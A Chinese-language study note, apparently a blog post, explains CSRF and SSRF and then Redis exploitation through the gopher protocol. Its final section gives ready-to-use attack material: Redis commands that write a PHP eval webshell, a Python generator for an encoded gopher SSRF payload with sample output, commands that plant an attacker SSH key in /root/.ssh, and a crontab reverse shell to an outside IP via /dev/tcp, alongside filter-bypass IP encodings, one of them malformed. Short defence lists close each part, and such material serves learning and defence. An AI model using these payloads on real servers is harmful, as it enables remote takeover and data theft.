# CSRF 简介

CSRF 是指跨站请求伪造,跨站请求伪造(英语:Cross-site request forgery,也被称为 [one-click attack] 或者 [session riding],通常缩写为 CSRF 或者 XSRF,是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

扯那么多,简单的理解就是盗用了用户的身份,以用户的名义进行非法操作

# CSRF 的工作原理

当我们打开一个网站后,我们的浏览器会与服务器产生一个会话,在这个会话中,我们可以正常的使用我们的权限对网站进行操作,比如登录博客可以删除或发布文章,当会话结束后,再进行这些操作时就会提示会话过期请重新登录。

上述是我们正常的一个会话过程,而 CSRF 就是建立在会话上,比如我们登录网上银行转账的过程中,点击了一个攻击者构造的一个转账业务代码,那么我们账号中的余额就会被盗走,一直到现在说的都是 CSRF 的过程,那么为什么会这样呢,在浏览器与服务器的会话中所有的操作都被默认为是可信的所以执行了攻击者构建的转账代码

# 漏洞形成条件

  1. CSRF 攻击建立在会话下
  2. 欺骗用户访问 url

# CSRF 攻击

CSRF 攻击是攻击者通过受害者的 cookie 骗取服务器的信任,但是攻击者并没有获取到 Cookie,也看不到 Cookie 信息。另外,由于浏览器同源策略的限制,黑客无法从返回的结果中得到任何信息,CSRF 所能做的就是给服务器发送请求

# CSRF 防御

CSRF 漏洞的预防没有其他漏洞那么麻烦,只需要在一些地方增加一些小操作就好

# 二次确认 & token 验证

在调用某些功能时进行二次验证,比如删除用户时,产生提示对话框,需要二次确认,再如转账时需要再次输入密码

# SSRF 简介

多数 web 应用都提供了从其他服务器获取数据的功能,根据用户指定的 url 来下载文件,读取文件等。如果这种功能被恶意利用,那么就有可能导致存在缺陷的 web 应用被作为跳板去攻击本地或者远程服务器,这种形式的攻击被称为 SSRF

# SSRF 形成原理

SSRF 的主要形成原理是服务端提供了从其他服务器获取数据的功能,但是没有对目标地址进行有效的过滤或者限制导致的。

demo

<?php
$url=$_GET['url'];
echo file_get_contents($url);
?>

原本是用来获取图片返回给用户的,但是构造

url=http://127.0.0.1:8000

就可以探测 8000 端口的开放情况

# 防护绕过

防护主要是对请求进行过滤

  1. 设置白名单
  2. 禁止请求内网 ip

绕过也不难

  1. 使用 http://example.com@eval.com 这种格式绕过正则
  2. 使用其他进制,或者是简写 ip
    • 0177.00.00.01(八进制)
    • 2130706433 (十进制)
    • 0x7f.0x0.0x0.1x0.0x1(十六进制)
    • 127.1

# 利用

# 端口扫描

访问内网 ip 加端口号,根据响应时间回显来判断端口是否开放

# 指纹识别

大部分 web 应用有一些独特的文件或者目录,可以通过这些特征来判断应用类型,详细版本,以此更好的进行漏洞利用

# 文件读取

配合 file 伪协议,可以读取敏感文件

# Redis 中 SSRF 的利用

这块放到最后,毕竟主角都是最后出场的

# RESP 协议

提到 redis 绕不过的一个协议,RESP 在 redis1.2 中引入,在 2.0 中成为服务器通信的标准方式

是 Redis 使用的一种序列化协议,它是一种文本协议,可以将 Redis 中的数据结构序列化为文本格式并进行传输。

RESP 协议定义了以下数据类型:

  • 简单字符串(Simple Strings):以 "+" 开头,例如 +OK 表示一个简单的字符串 "OK"。
  • 错误信息(Errors):以 "-" 开头,例如 -ERR 表示一个错误信息 "ERR"。
  • 整数(Integers):以 ":" 开头,例如 :1 表示整数 1。
  • 批量字符串(Bulk Strings):以 "$" 开头,例如 $6\r\nfoobar\r\n 表示一个长度为 6 的字符串 "foobar"。
  • 数组(Arrays):以 "*" 开头,例如 *3\r\n$3\r\nfoo\r\n$3\r\nbar\r\n$5\r\nhello\r\n 表示一个包含了三个元素的数组 ["foo", "bar", "hello"]。

RESP 协议的优点是简单、易于实现和解析,并且可以通过文本方式进行传输,便于调试和开发。同时,RESP 协议支持多种编程语言,因此可以轻松地在不同的应用程序之间进行通信。

# Redis 配合 gopher 协议进行 ssrf

首先介绍一下什么是 gopher 协议

Gopher 协议是 http 协议出现之前运用在互联网上面传输文本的协议

  1. Gopher 协议的基本结构是一个树形目录结构,每个目录项都包含了一个标题、一个类型和一个指向该项内容的链接。Gopher 协议支持的类型包括文本、图像、二进制文件等。
  2. 与 HTTP 协议不同,Gopher 协议不支持动态内容和多媒体内容。它的设计初衷是为了提供一种简单的、易于使用的文本浏览器,而不是用于复杂的应用程序和交互式内容。
  3. 尽管 Gopher 协议在互联网发展的早期曾经非常流行,但随着 HTTP 协议的兴起和互联网的快速发展,Gopher 协议逐渐被淘汰。但是,它在 SSRF 中可谓是万金油搬的存在

因为是记录在 redis 中的运用,这里是需要 Redis 是由未授权访问或者是弱口令的漏洞存在的,常见的利用方法大概有下面几种

  1. 绝对路径写 webshell(常用)
  2. 写 shsh 公钥
  3. 写 contrab 计划任务反弹 shell

# 绝对路径写 shell

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename 1.php
save
  1. 使用 flushall 命令清空 Redis 中的所有数据。
  2. 使用 set 命令将 PHP 代码写入 Redis 中的一个键值对,这段代码可以接收名为 cmd 的 GET 请求参数,并将其作为 PHP 代码进行执行。
  3. 使用 config set 命令修改 Redis 的配置,将数据存储目录设置为 /var/www/html ,将数据文件名设置为 shell.php
  4. 使用 save 命令将 Redis 中的数据保存到磁盘上。
# 导入 quote 函数
from urllib.parse import quote
# 定义协议、IP、端口、要写入的 PHP 代码、文件名、路径、密码、命令列表
protocol = "gopher://"
ip = "目标ip"
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "1.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",  # 清空 Redis 数据库
       "set 1 {}".format(shell.replace(" ", "${IFS}")),  # 将 PHP 代码写入 Redis 中
       "config set dir {}".format(path),  # 设置 Redis 工作目录
       "config set dbfilename {}".format(filename),  # 设置 Redis 数据库文件名
       "save"  # 将 Redis 数据库保存到磁盘中
       ]
# 如果设置了密码,将 AUTH 命令添加到命令列表中
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
# 拼接 payload
payload = protocol + ip + ":" + port + "/_"
# 定义 redis_format 函数,将命令转换为 Redis 格式
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd
# 将每个命令转换为 Redis 格式,并拼接到 payload 中
if __name__ == "__main__":
    for x in cmd:
        payload += quote(redis_format(x))
    print(payload)
#gopher://10.244.80.203:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0A1.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

# 写 ssh 公钥

和上面的利用原理其实一样

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

# 利用 contrab 计划任务反弹 shell

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

几种利用方式其实原理相同,只不过后面利用的文件不同

# 防御

  • 禁用 Redis 的危险命令,例如 flushall 等。
  • 对 Redis 的网络访问进行限制,只允许从可信的 IP 地址进行访问。
  • 对 Redis 的命令进行白名单过滤,只允许执行必要的命令,避免执行危险的命令。
  • 对 Redis 的配置进行限制,避免将数据存储目录设置为 Web 服务器的根目录,避免将数据文件名设置为可执行的文件名。